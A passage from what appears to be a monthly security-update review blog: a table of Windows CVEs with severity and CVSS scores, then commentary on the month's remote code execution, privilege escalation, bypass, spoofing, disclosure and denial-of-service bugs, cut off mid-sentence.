  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44808"><span>CVE-2026-44808</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP 